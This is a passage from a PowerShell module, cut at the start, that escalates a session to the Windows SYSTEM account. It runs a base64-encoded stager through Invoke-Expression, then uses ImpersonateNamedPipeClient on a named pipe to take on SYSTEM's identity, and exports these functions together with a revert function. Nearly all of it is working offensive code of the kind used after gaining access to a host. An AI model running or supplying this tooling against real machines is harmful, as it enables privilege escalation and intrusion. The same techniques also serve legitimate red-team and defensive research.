            [System.Text.Encoding]::ASCII.GetBytes(
                ([string]$stager_ScriptBlock).replace('PIPENAME', $pipeName)
            )
        )

        $command = [string]::Format(
            "Invoke-Expression([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{0}')))",
            $encodedBlock
        )

        Invoke-SystemCommand -Argument $command

        $pipeServer.WaitForConnection()

        $reader = New-Object System.IO.StreamReader($pipeServer)

        $null = $reader.Read()

        $pipeHandle = $pipeServer.SafePipeHandle.DangerousGetHandle()

        if (-not [ADVAPI32]::ImpersonateNamedPipeClient($pipeHandle))
        {
            throw [WinAPIException]::New("ImpersonateNamedPipeClient")
        }

        if (-not (Test-SystemImpersonation))
        {
            throw "Failed to impersonate SYSTEM user."
        }

        Write-Host "SYSTEM User Impersonation Successful."

        Write-CurrentUser
    }
    finally
    {
        if ($reader)
        {
            $reader.Close()
        }

        if ($pipeServer)
        {
            $pipeServer.Dispose()
        }
    }
}

function Invoke-RevertToSelf
{
    <#
        .SYNOPSIS
            Stop impersonating user.
    #>


    if (-not (Test-SystemImpersonation))
    {
        throw "You are not impersonating SYSTEM user."
    }

    Write-Host "Stop impersonating user..."

    if (-not [ADVAPI32]::RevertToSelf())
    {
        throw [WinAPIException]::New("RevertToSelf")
    }

    Write-Host "Impersonation Stopped."
    Write-CurrentUser
}

try {
    Export-ModuleMember -Function Invoke-SystemCommand
    Export-ModuleMember -Function Invoke-InteractiveSystemProcess
    Export-ModuleMember -Function Invoke-ImpersonateSystem
    Export-ModuleMember -Function Invoke-RevertToSelf
} catch {}